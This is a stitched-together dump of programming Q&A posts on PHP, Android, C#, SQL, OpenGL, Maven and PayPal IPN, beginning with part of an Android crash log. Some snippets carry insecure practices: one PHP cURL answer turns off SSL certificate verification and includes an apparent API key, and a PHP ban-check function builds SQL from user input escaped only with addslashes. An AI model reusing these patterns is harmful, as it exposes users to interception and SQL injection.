4643dc70 41adfab4 /dev/ashmem/dalvik-LinearAlloc (deleted) 06-06 17:47:27.716: INFO/DEBUG(30): 4643dc74 00000003 06-06 17:47:27.726: INFO/DEBUG(30): #01 4643dc78 4284dfce /data/dalvik-cache/system@framework@framework.jar@classes.dex 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc7c 4042b604 /dev/ashmem/dalvik-heap (deleted) 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc80 cffeb075 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc84 c05e8561 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc88 00000000 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc8c 00000000 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc90 00000000 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc94 00000000 06-06 17:47:27.726: INFO/DEBUG(30): 4643dc98 00000000 06-06 17:47:27.736: INFO/DEBUG(30): 4643dc9c 00000000 06-06 17:47:27.736: INFO/DEBUG(30): 4643dca0 00000000 06-06 17:47:27.736: INFO/DEBUG(30): 4643dca4 00000000 06-06 17:47:27.736: INFO/DEBUG(30): 4643dca8 61d1d700 06-06 17:47:27.736: INFO/DEBUG(30): 4643dcac 00000130 06-06 17:47:27.736: INFO/DEBUG(30): 4643dcb0 4643de56 06-06 17:47:27.736: INFO/DEBUG(30): 4643dcb4 00000003 06-06 17:47:27.736: INFO/DEBUG(30): 4643dcb8 0000000a 06-06 17:47:27.736: INFO/DEBUG(30): 4643dcbc 4643dde8 06-06 17:47:27.736: INFO/DEBUG(30): 4643dcc0 00000000 06-06 17:47:27.747: INFO/DEBUG(30): 4643dcc4 4643de6c 06-06 17:47:27.747: INFO/DEBUG(30): 4643dcc8 00000001 06-06 17:47:27.747: INFO/DEBUG(30): 4643dccc 843012cd /system/lib/hw/gps.goldfish.so 06-06 17:47:31.136: DEBUG/skia(122): purging 6K from font cache [1 entries] 06-06 17:47:31.347: DEBUG/dalvikvm(122): GC_EXPLICIT freed 207K, 50% free 2920K/5767K, external 1625K/2137K, paused 205ms 06-06 17:47:36.146: DEBUG/skia(376): purging 340K from font cache [44 entries] 06-06 17:47:36.276: DEBUG/dalvikvm(376): GC_EXPLICIT freed 598K, 52% free 3354K/6855K, external 2859K/3559K, paused 130ms 06-06 17:47:41.156: DEBUG/skia(60): purging 135K from font cache [14 entries] 06-06 17:47:41.336: DEBUG/dalvikvm(60): GC_EXPLICIT freed 146K, 49% free 4533K/8775K, external 4373K/5573K, paused 182ms 06-06 17:47:42.577: DEBUG/Zygote(32): Process 60 terminated by signal (11) 06-06 17:47:42.577: INFO/Zygote(32): Exit zygote because system server (60) has terminated 06-06 17:47:42.676: INFO/ServiceManager(27): service 'SurfaceFlinger' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'sensorservice' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'entropy' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'power' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'batteryinfo' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'telephony.registry' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'usagestats' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'account' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'package' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'activity' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'meminfo' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'cpuinfo' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'permission' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'content' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'hardware' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'battery' died 06-06 17:47:42.676: INFO/ServiceManager(27): service 'vibrator' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'alarm' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'window' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'device_policy' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'statusbar' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'clipboard' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'network_management' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'input_method' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'netstat' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'wifi' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'connectivity' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'throttle' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'accessibility' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'mount' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'notification' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'devicestoragemonitor' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'location' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'search' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'dropbox' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'wallpaper' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'audio' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'uimode' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'backup' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'appwidget' died 06-06 17:47:42.697: INFO/ServiceManager(27): service 'diskstats' died 06-06 17:47:42.716: ERROR/installd(34): eof 06-06 17:47:42.716: ERROR/installd(34): failed to read size 06-06 17:47:42.716: INFO/installd(34): closing connection 06-06 17:47:42.716: DEBUG/qemud(37): fdhandler_event: disconnect on fd 11 06-06 17:47:42.786: INFO/ServiceManager(27): service 'media.audio_flinger' died 06-06 17:47:42.786: INFO/ServiceManager(27): service 'media.audio_policy' died 06-06 17:47:42.786: INFO/ServiceManager(27): service 'media.player' died 06-06 17:47:42.786: INFO/ServiceManager(27): service 'media.camera' died 06-06 17:47:42.816: INFO/ServiceManager(27): service 'isms' died 06-06 17:47:42.816: INFO/ServiceManager(27): service 'simphonebook' died 06-06 17:47:42.816: INFO/ServiceManager(27): service 'iphonesubinfo' died 06-06 17:47:42.816: INFO/ServiceManager(27): service 'phone' died 06-06 17:47:42.946: INFO/Netd(449): Netd 1.0 starting 06-06 17:47:44.016: DEBUG/AndroidRuntime(450): &gt;&gt;&gt;&gt;&gt;&gt; AndroidRuntime START com.android.internal.os.ZygoteInit &lt;&lt;&lt;&lt;&lt;&lt; 06-06 17:47:44.026: DEBUG/AndroidRuntime(450): CheckJNI is ON 06-06 17:47:44.497: INFO/(448): ServiceManager: 0xad50 06-06 17:47:44.497: DEBUG/AudioHardwareInterface(448): setMode(NORMAL) 06-06 17:47:44.517: INFO/CameraService(448): CameraService started (pid=448) 06-06 17:47:44.547: INFO/AudioFlinger(448): AudioFlinger's thread 0xc650 ready to run 06-06 17:47:45.326: INFO/SamplingProfilerIntegration(450): Profiler is disabled. 06-06 17:47:45.407: INFO/Zygote(450): Preloading classes... </code></pre> <p>Thanks in advance.</p>
1825316	0	 <p>If you want the page to count down every second, rather than only on refresh, you should use JavaScript. There are many <a href="http://scripts.franciscocharrua.com/countdown-clock.php" rel="nofollow noreferrer">examples</a> out there, and others can be found using google by searching for Javascript Countdown</p> <p>If you wanted to do it in PHP, the best way is to use <a href="http://uk.php.net/mktime" rel="nofollow noreferrer">mktime()</a> to get the unix timestamp of when the time ends, and the value from <a href="http://uk.php.net/time" rel="nofollow noreferrer">time()</a>.</p> <p>Find the difference, and then you can calculate the time left:</p> <pre><code>$diff = mktime(...) - time(); $days = floor($diff/60/60/24); $hours = floor(($diff - $days*60*60*24)/60/60); </code></pre> <p>etc.</p> <p><strong>EDIT</strong> </p> <p>Javascript...</p> <p>Basic idea of the <a href="http://www.w3schools.com/jsref/jsref_obj_date.asp" rel="nofollow noreferrer">date object</a></p> <pre><code>var date = new Date(); //gets now var weekday = date.getDay(); //gets the current day //0 is Sunday. 6 is Saturday if ( weekday == 0 ){ date.setTime()(date.getTime()+60*60*24); //increase time by a day } if ( weekday == 6 ){ date.setTime()(date.getTime()+60*60*24*2); //increase time by two days } //need to check if we have already passed 16:30, if ( ( date.getHours() == 16 &amp;&amp; date.getMinutes() &gt; 30 ) || date.getHours() &gt; 16){ //if we have, increase the day date.setTime()(date.getTime()+60*60*24) } date.setHours(16); date.setMinutes(30); //now the date is the time we want to count down to, which we can use with a jquery plugin </code></pre>
663391	0	 <p>I think the closest collection you'll get from the framework is the <a href="http://java.sun.com/j2se/1.5.0/docs/api/java/util/SortedMap.html" rel="nofollow noreferrer">SortedMap</a></p>
25918029	0	Populateing text field and value field of listbox time from SQL <p>I have a SQL database table that has two columns; 'ID' and 'Names'. I want to read this data from database and add it into a ListBox with the 'Name' as the new Items text field and the 'ID' as the value field.</p> <p>This is what I have so far:</p> <pre><code> using (SqlConnection conn = new SqlConnection("ConnectionString)) { conn.Open(); using (SqlCommand cmd = new SqlCommand("SELECT ID, Name FROM Buildings", conn)) { using (SqlDataReader reader = cmd.ExecuteReader()) { while (reader.Read()) { for (int i = 0; i &lt; reader.FieldCount; i++) { ........................ } } } </code></pre> <p>Any help would be appreciated.</p>
5010509	0	 <p>As a simple example, let's say you have two columns, A and B.</p> <pre><code>A B 1 100 2 100 3 100 </code></pre> <p>There are three distinct A values, but only one distinct B value. It would be impossible for <code>COUNT(DISTINCT *)</code> to return a single, meaningful value. That is why that syntax cannot work.</p>
32760142	0	 <pre><code>$url="https://api.themoviedb.org/3/movie/popular?api_key=52385ff92cb9105e52d86c4786293ce8&amp;page=1"; </code></pre> <p><strong>Using <a href="http://php.net/manual/pt_BR/book.curl.php" rel="nofollow">cURL</a></strong></p> <pre><code>// Initiate curl $ch = curl_init(); // Disable SSL verification curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Will return the response, if false it print the response curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Set the url curl_setopt($ch, CURLOPT_URL,$url); // Execute $result=curl_exec($ch); // Closing curl_close($ch); // Will dump json data var_dump(json_decode($result, true)); </code></pre> <p><strong>Using <a href="http://php.net/manual/pt_BR/function.file-get-contents.php" rel="nofollow">file_get_contents</a></strong> </p> <pre><code>$result = file_get_contents($url); // Will dump json data var_dump(json_decode($result, true)); </code></pre>
10383742	0	 <p>glPushClientAttrib(GL_CLIENT_VERTEX_ARRAY_BIT) saves all the client side states for all vertex array attributes. So everything you set with the glEnableClientState/glDisableClientState and gl*Pointer functions. It won't copy the actual data. It also won't save anything set with glBindBuffer/glBufferData because those would be server side states. There's probably an enum for glPushAttrib for that in normal OpenGL (no glPushAttrib in OpenGL ES either).</p> <p>I'm guessing that the difference between VBO and vertex array here is that VBOs have their actual data in graphics memory, while vertex arrays have to be streamed to the graphics card when you draw them. Pointers and enabled flags will still be saved with glPushClientAttrib when you are using VBOs, though.</p> <p>For OpenGL ES you have to keep track of the states yourself if you want to return to the last state. Or better, set everything to default values after you are finished with it (calling glDisableClient for all enabled vertex arrays should be enough).</p>
16508202	0	 <p><a href="http://www.yiiframework.com/extension/yii-user/" rel="nofollow">Yii User</a> is not meant for adding roles to users, it only handles user account management.</p> <p>You may install an additional extension like rights, auth or srbac (see <a href="http://www.yiiframework.com/extensions/?category=1&amp;sort=rating.desc" rel="nofollow">list</a>) which provides a web-interface for this task.</p>
19310344	0	 <p>I suggest doing your publishing via TFS Build, that way you can ensure that people aren't publishing code that you don't have in Source Control, and it's easy to setup email notification on Build Completion (using TFS Alerts).</p>
7539998	0	 <p>Try </p> <pre><code>SHOW ERRORS FUNCTION custord </code></pre> <p>Your <code>custord</code> function was created with compilation errors, so there is something wrong with it. This is why you're getting the <code>object CIS605.CUSTORD is invalid</code> error.</p>
38323504	0	 <p>You can try something like this:</p> <pre><code>/** * @When /^The document should open in a new tab$/ */ public function documentShouldOpenInNewTab() { $session = $this-&gt;getSession(); $windowNames = $session-&gt;getWindowNames(); if(sizeof($windowNames) &lt; 2){ throw new \ErrorException("Expected to see at least 2 windows opened"); } //You can even switch to that window $session-&gt;switchToWindow($windowNames[1]); } </code></pre> <p><em>NOTE:</em> Probably windows can open with some delay and in that case you need to wait for it:</p> <pre><code> $ttw = 40; while ((sizeof($session-&gt;getWindowNames()) &lt; 2 &amp;&amp; $ttw &gt; 0) == true) { $session-&gt;wait(1000); $ttw--; } </code></pre>
15892873	0	 <p>No Activity is defined to handle intent. It could be because you are not initiating your intent correctly in your onCreate. Try something like this </p> <pre><code>Intent intent = new Intent(Main.this,Menu.class) Main.this.startActivity(intent); </code></pre> <p>EDIT: Also I'm bound to ask have you declared your activity in manifest?</p>
2611191	0	 <p>Total guess:</p> <pre><code>select v1.Value1 - v2.Value2 from (Select Max(Value) as [Value1] from History WHERE Datetime ='2010-1-1 10:10' and tagname ='tag1') as v1 CROSS JOIN ( (Select Max(Value) as [Value2] from History WHERE Datetime ='2010-1-1 10:12' and Tagname ='tag2') as v2) </code></pre>
40293016	0	 <p>This below config worked for me. Add the plugin in both the parent and child pom. </p> <p><strong>Parent :</strong> </p> <pre><code>&lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt; &lt;inherited&gt;true&lt;/inherited&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;integration-test&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;jar&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;configuration&gt; &lt;skip&gt;true&lt;/skip&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; </code></pre> <p><strong>Child</strong></p> <pre><code>&lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt; &lt;inherited&gt;false&lt;/inherited&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;integration-test&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;jar&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;configuration&gt; &lt;skip&gt;false&lt;/skip&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; </code></pre>
27053500	0	 <p>You're using a character that falls outside the normal ASCII range of ordinals 0 -> 255.</p> <p>Put the following 2 lines at the top of your python files:</p> <pre><code>#!/usr/bin/env python # -*- coding: utf-8 -*- </code></pre> <p>and the error should go away.</p> <p>If not, email their support, or go to their <a href="http://forum.jetbrains.com/forum/PyCharm" rel="nofollow">forums</a>.</p>
11120752	0	 <p>Someone gave me the wonderful answer of:</p> <pre><code>var filters = new List&lt;Func&lt;f_results, bool&gt;&gt;(); if (comparePrices) filters.add((p =&gt; (double)p.Price &gt;= priceFrom &amp;&amp; (double)p.Price &lt;= priceTo); if (productQuery) filters.add(p =&gt; p.sku == productSku); result = query.find (p =&gt; filters.All(filter =&gt; filter(p))); </code></pre>
3917598	0	 <p>Try this:</p> <pre><code>./textfile.txt </code></pre>
32152081	0	Changin input class on angular model property changes <p>I have one input of text type, and I need that this input become on span depending of the value of a property of my model. So, the jquery function that I have for become a input in span is:</p> <pre><code>$('.read').replaceWith(function(){ return '&lt;span class='+this.className+'&gt;'+this.value+'&lt;/span&gt;' }); </code></pre> <p>And the ng directive that I have used is: <strong>ng-change</strong>:</p> <pre><code>&lt;input id="1" type="text" ng-model="src.ViewModel.Model.DataA" ng-change="src.search(src.ViewModel.Model.DataA)"/&gt; </code></pre> <p>The method is:</p> <pre><code>theController.prototype.search = function(data){ if (data == 1) { theModel.DataA = data; $('.read').replaceWith(function(){ return '&lt;span class='+this.className+'&gt;'+this.value+'&lt;/span&gt;'; }); } }; </code></pre> <p>And the input that must changes is:</p> <pre><code>&lt;input type="text" ng-model="src.ViewModel.Model.DataB" ng-class="{'read': src.ViewModel.Model.DataA == 1}" /&gt; </code></pre> <p>But it does not works, so, how I can solve that ??</p> <p>Here is my Fiddle: <a href="http://jsfiddle.net/fcastelblanco/3n8o3ud7/2/" rel="nofollow">Fiddle</a></p> <p>Any help or suggestion, please ...</p>
33083800	0	 <p>A varbinary isn't displayed with an odd number of digits. The value contains a specific number of bytes, and each byte is displayed as two digits.</p> <p>(You can write a binary literal with an odd number of digits, for example <code>0x123</code>, but then it means the same things as <code>0x0123</code>.)</p> <p>As you copy a value that has 43679 digits, it's not a correct value from the database. Most likely it's because it gets concatenated, either when it is displayed or when you copy it.</p>
25691060	0	 <p>This is probably the wisest way to do what you're asking:</p> <pre><code>var query = from product in products select new { product, finishedCategories = product.categories.Where(c =&gt; c.is_finished) }; </code></pre> <p>This creates an anonymous type that has the data you're looking for. Note that if you access <code>.product.categories</code> you'll still get all of that product's categories (lazily-loaded). But if you use <code>.finishedCategories</code> you'll just get the categories that were finished.</p>
1492736	0	XSLT 1.0: replace new line character with _ <p>I am having this below variable</p> <pre><code> &lt;xsl:variable name="testvar"&gt; d e d &lt;/xsl:variable&gt; </code></pre> <p>and I have this function: </p> <pre><code> &lt;xsl:choose&gt; &lt;xsl:when test="not($str-input)"&gt; &lt;func:result select="false()"/&gt; &lt;/xsl:when&gt; &lt;xsl:otherwise&gt; &lt;func:result select="translate($str-input,$new-line,'_')"/&gt; &lt;/xsl:otherwise&gt; &lt;/xsl:choose&gt; &lt;/func:function&gt; </code></pre> <p>And when I tested the function I saw my result is like this: <strong>_ d _ e _ d_</strong> and I want my result to be only</p> <p><strong>d _ e _ d</strong></p>
9677802	0	Do I need a particular type of Paypal button to initiate an IPN? <p>I am very much a newbie with Paypal, but with much effort and help, I feel as though I have got 90% of the set up complete, I just can't get an IPN response back from Paypal.</p> <p>When I go into the sandbox testing tools and do a simulated IPN, I get green checks indicating everything works.</p> <p>I have a sandbox merchant, and a sandbox buyer. I've created sandbox "subscribe" buttons. When I click the button, I'm taken to the sandbox Paypal site, I enter my sandbox buyer information, and the payment gets processed.</p> <p>Everything seems to work fine, but that's where it ends. I'm left on a page that says the payment is complete. Nowhere in this process does Paypal seem to send any kind of request to my specified IPN landing page.</p> <p>At the top of the PHP code where I receive the IPN, I have a simple mail() function, just for testing to let me know the code has been triggered. I know it works because if I just run it directly in the browser, I get the mail. I do not get the mail when I go through the Paypal sandbox transaction.</p> <p>All indications are that I have not set up Paypal correctly so that it knows I want it to send an IPN notification during the transaction.</p> <p>Do I need a particular button (none of them explicitly say "IPN capable" or anything like that, so my default assumption was that any of them would work.)?</p> <p>In my profile I've specified the page to go to for the IPN message, but perhaps there is another setting that also needs to be configured?</p> <hr> <p><em><strong>Update:</em></strong></p> <p>Here is the code for my button. Note I pretty much just used what was generated for me. I am coming to understand that there are supposed to be extra parameters, but it's not at all clear how I'm supposed to know what additional parameters to include or where to get them.</p> <pre><code>&lt;form action="https://www.sandbox.paypal.com/cgi-bin/webscr" method="post"&gt; &lt;input type="hidden" name="cmd" value="_s-xclick"&gt; &lt;input type="hidden" name="hosted_button_id" value="XXXXXXXXXXXXXXXXX"&gt; &lt;input type="image" src="https://www.sandbox.paypal.com/en_US/i/btn/btn_subscribeCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"&gt; &lt;img alt="" border="0" src="https://www.sandbox.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"&gt; &lt;/form&gt; </code></pre>
24488931	0	Getting the number of unique values of a query <p>I have some documents with the following structure:</p> <pre><code>{ "_id": "53ad76d70ddd13e015c0aed1", "action": "login", "actor": { "name": "John", "id": 21337037 } } </code></pre> <p>How can I make a query in Node.js that will return the number of the unique actors that have done a specific action. For example if I have a activity stream log, that shows all the actions done by the actors, and a actorscan make a specific action multiple times, how can I get the number of all the unique actors that have done the "login" action. The actors are identified by actor.id </p>
7260467	0	 <p>Yes it is valid to enter the same critical section while already inside it. From <a href="http://msdn.microsoft.com/en-us/library/ms682608.aspx">the docs</a>:</p> <blockquote> <p>After a thread has ownership of a critical section, it can make additional calls to EnterCriticalSection or TryEnterCriticalSection without blocking its execution. This prevents a thread from deadlocking itself while waiting for a critical section that it already owns. The thread enters the critical section each time EnterCriticalSection and TryEnterCriticalSection succeed. A thread must call LeaveCriticalSection once for each time that it entered the critical section.</p> </blockquote>
27519382	0	 <pre><code>dict={} x1=fileobject.read() for line in x1.splitlines(): if line.split()[1] in dict.keys(): dict[line.split()[0]]=line.split()[1]+" "+dict[line.split()[1]] else: dict[line.split()[0]]=line.split()[1] print dict </code></pre> <p>This way you can have a dictionary of object with keys as you want.</p> <p>Output:<code>{'k3': 'v3', 'k2': 'v2', 'k1': 'v1', 'k5': 'k4 k1 v1', 'k4': 'k1 v1'}</code></p>
7150906	0	PHP mail() function causing slow page loads <p>I've been writing a number of PHP pages that involve using mail(). For the most part, it works well. However, occasionally (I'd say about 10-20% of the time), the mail() function causes the page to load exceptionally slowly, if at all. </p> <p>I haven't been able to find a similar problem on forums anywere. Just to reiterate, the mail() function works fine and sends mail, but when calling scripts with the mail() function in it, it occasionally causes slow page load times.</p> <p>Here's the important bits of what the pages look like. And for the record, we are using Microsoft Exchange Server 2007.</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;?php if ($_POST['submit'] == 'submit'){ //execute some php code. mail($to, $subj, $body, $headers, "O DeliveryMode=b"); } ?&gt; &lt;meta http-equiv="refresh" content="0"&gt; &lt;?php } &lt;/head&gt; &lt;body&gt; &lt;form action=&lt;?php echo $_SERVER['PHP-SELF']?&gt;&gt; &lt;!--Form Data--&gt; &lt;input type='submit' name='submit' value='submit'/&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
12015918	0	 <p>To represent the character you can use Universal Character Names (UCNs). The character 'ф' has the Unicode value U+0444 and so in C++ you could write it '\u0444' or '\U00000444'. Also if the source code encoding supports this character then you can just write it literally in your source code.</p> <pre><code>// both of these assume that the character can be represented with // a single char in the execution encoding char b = '\u0444'; char a = 'ф'; // this line additionally assumes that the source character encoding supports this character </code></pre> <p>Printing such characters out depends on what you're printing to. If you're printing to a Unix terminal emulator, the terminal emulator is using an encoding that supports this character, and that encoding matches the compiler's execution encoding, then you can do the following:</p> <pre><code>#include &lt;iostream&gt; int main() { std::cout &lt;&lt; "Hello, ф or \u0444!\n"; } </code></pre> <p>This program <em>does not</em> require that 'ф' can be represented in a single char. On OS X and most any modern Linux install this will work just fine, because the source, execution, and console encodings will all be UTF-8 (which supports all Unicode characters).</p> <p>Things are harder with Windows and there are different possibilities with different tradeoffs.</p> <p>Probably the best, if you don't need portable code (you'll be using wchar_t, which should really be avoided on every other platform), is to set the mode of the output file handle to take only UTF-16 data.</p> <pre><code>#include &lt;iostream&gt; #include &lt;io.h&gt; #include &lt;fcntl.h&gt; int main() { _setmode(_fileno(stdout), _O_U16TEXT); std::wcout &lt;&lt; L"Hello, \u0444!\n"; } </code></pre> <p>Portable code is more difficult.</p>
9004089	0	 <p>If you access property like this</p> <pre><code>self.property=@""; </code></pre> <p>you are in fact using setter method( which is auto-created thanks to @synthesize). So, in this case, the old object is released and new one is assigned and retained.</p> <p>If you synthesized your property using</p> <pre><code>@synthesize property= _property; </code></pre> <p>then if you call</p> <pre><code>_property=@""; </code></pre> <p>then you just assign new value to the property. Nothing is being released then.</p> <p>So, in your <code>dealloc</code> method you have some choices:</p> <pre><code>-(void)dealloc { self.property=@"";//old value released, new value is @"" self.property=nil;//old value released, new value is nil [_property release]; //old value released [super dealloc]; } </code></pre>
30966823	0	 <p>You can get the total heap consumption and other stats via <a href="http://hackage.haskell.org/package/base/docs/GHC-Stats.html#v:getGCStats"><code>getGCStats</code></a> in module GHC.Stats, at least if you run your program with <code>+RTS -T</code>.</p>
23726414	0	 <p>Figured it out. Define stuff in onViewCreated() instead of in onCreate().</p> <p>Search programmatically adding adding preferences to preference fragment. Here's one example <a href="http://stackoverflow.com/questions/17255383/how-do-i-programmatically-add-edittextpreferences-to-my-preferencefragment">How do I programmatically add EditTextPreferences to my PreferenceFragment?</a></p>
33650015	0	 <p>You say that you need to access <code>getHeight()</code> to calculate <code>desiredWidth</code> inside the <code>onMeasure()</code> method and also that <code>getHeight()</code> is not ready.</p> <p>Yes, <code>getHeight()</code> or <code>getWidth()</code> can't be accessed from <code>onMeasure()</code> because these <code>height</code> and <code>width</code> are set in <code>onMeasure()</code> method. In your <code>onMeause()</code> method, you need to call <code>setMeasuredDimension()</code>. You have done that in your code.</p> <pre><code> setMeasuredDimension(width, height); </code></pre> <p>This <code>width</code> is what you will get when you call <code>getWidth()</code> and this <code>height</code> is what you will get when you call <code>getHeight()</code>. </p> <p>So if you want to access <code>getHeight()</code>, then use <code>height</code> instead.</p>
10107686	0	Programming Android App using Ceylon <p>Can I create android app using Ceylon? Since Ceylon can run of any JVM, the implementation of Ceylon to create android app should be pretty simple as far as I understand. Is it like Scala where the size of App becomes considerably larger and have to use proguard or SBT-android plugin? How viable is it? Can Ceylon be good option for this? If yes, can somebody point me to the proper direction?</p>
17553087	0	 <p>Yes, to develop a CKAN extension you have to install CKAN from source.</p> <p>We're working on a new tutorial for writing CKAN extensions, you can see the draft version of the tutorial here: <a href="https://github.com/okfn/ckan/pull/943" rel="nofollow">https://github.com/okfn/ckan/pull/943</a></p>
6458285	0	C# - InstallUtil - Service failing to launch <p>I have a service in C#, that seems to fail to startup, I have created a screenshot below:</p> <p>Is it the case that the service returns (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) that it is not loading up?</p> <p><a href="http://i.imgur.com/aG7F7.png" rel="nofollow">http://i.imgur.com/aG7F7.png</a></p>
1875294	0	What might cause IDirectDraw::GetCaps returns DDERR_INVALIDPARAMS? <p>I have this little snippet of code with IDirectDraw::GetCaps returning <code>DDERR_INVALIDPARAMS</code> (a.k.a. <code>E_INVALIDARG</code>, a.k.a. 0x80070057).</p> <p>The loaded dll is ddraw.dll 5.03.2600.5512 (xpsp.080413-0845)</p> <p>I need to check whether the display hardware has 3D acceleration (DDCAPS_3D).</p> <p>I have no idea to solve the problem, the snippet is so simple, am I missing something?</p> <p>Thank you very much.</p> <p>Alessandro</p> <pre><code>#include &lt;ddraw.h&gt; #include &lt;iostream&gt; #define TEST_HR(hr) if(hr!=DD_OK){ std::cout &lt;&lt; "Error 0x" &lt;&lt; std::hex &lt;&lt; static_cast&lt;unsigned long&gt;(hr) &lt;&lt; " at line: " &lt;&lt; std::dec &lt;&lt; __LINE__; return __LINE__;} int main(int argc, char* argv[]) { ::CoInitialize( 0 ); IDirectDraw* dd; TEST_HR( ::DirectDrawCreate( 0, &amp;dd, 0 ) ); DDCAPS hel_caps, hw_caps; ::ZeroMemory( &amp;hel_caps, sizeof( DDCAPS ) ); ::ZeroMemory( &amp;hw_caps, sizeof( DDCAPS ) ); TEST_HR( dd-&gt;GetCaps( &amp;hw_caps, &amp;hel_caps ) ); ::CoUninitialize(); return 0; } </code></pre>
10108810	0	RTC source control icons <p>What is the difference between these two RTC source control icons ? Is it identifying which workspace is loaded by which component ? Is there a reference that explains each of the RTC source control icons ?</p> <p><img src="https://i.stack.imgur.com/4fSQW.png" alt="enter image description here"></p> <p><img src="https://i.stack.imgur.com/ZmbID.png" alt=""></p>
6233799	0	libqxt installation problem - features.path warning <p>I use Qt SDK 1.1.1 (everything installed exept experimental category) on Windows 7 and I'm trying to set up libqxt libaries for this enviroment. I downloaded and unpacked libqxt tip and ran configure.bat file using Qt for Desktop command line with -static -debug_and_release properties as administrator.</p> <pre><code>Testing for qmake... Testing for mingw32-make...Using mingw32-make. Testing for optional external libraries. If tests fail, some features will not be available. Testing for Berkeley DB... Berkeley DB disabled. Testing for Zero Conf... Zero Conf disabled. Configuration successful. Generating makefiles... WARNING: c:\QtSDK\Desktop\Qt\4.7.1\mingw\mkspecs\default\qmake.conf:108: Unescap ed backslashes are deprecated. WARNING: features.path is not defined: install target not created Makefiles generated. Run mingw32-make now. </code></pre> <p>And so mingw32-make command do nothing... What should I do to compile it properly. I tried to use diffrent parameters but nothing changes...</p>
20631324	0	 <p>Gems can configure their host apps by providing a <a href="http://api.rubyonrails.org/classes/Rails/Railtie.html">Railtie</a>.</p> <p>For example, here is a shortened version of how the <a href="https://github.com/charliesome/better_errors/blob/master/lib/better_errors/rails.rb">BetterErrors gem</a> does it:</p> <pre><code>module BetterErrors class Railtie &lt; Rails::Railtie initializer "better_errors.configure_rails_initialization" do Rails.application.middleware.use BetterErrors::Middleware end end end </code></pre>
32247869	0	After call a php function by ajax how to apply its result for to check another submission <p>If user not banned, user can comment here. So I have a php function to check banned user. In case of comment form submitting, a ajax call 1st check this user is banned or not. If not: comment will be submit else display a massage.</p> <p>Here, I cannot submit any comment if banned or not, Page refresh if I try to submit. In cannot also understand how to apply my <code>banneduser()</code> response to check form submitting.</p> <p>php function: (I dont want change it, because I used it many more case)</p> <pre><code>//user name banned by user function Banned($user){ global $db; if(!get_magic_quotes_gpc()){ $touser = addslashes($user); } $byuser = $_SESSION['user']; $result = mysqli_query($db,"SELECT * FROM blocking WHERE byname = '$byuser' AND toname = '$touser'") or die(mysqli_error($db)); return (mysqli_num_rows($result) &gt; 0); } </code></pre> <p>Ajax: </p> <pre><code>// check banned user function banneduser(){ var Bauthor = $("#author").attr("value"); $.ajax({ type: "POST", url: "../common", data: "action=Banned&amp;user="+ Bauthor, success: function(data){ // How to play with this data if(data){ return false; } } }); return false; } //comment submit if user not banned $(".reply").on("click",function(){ if(banneduser()){ // make form submission } else { // You are banned} }); </code></pre>
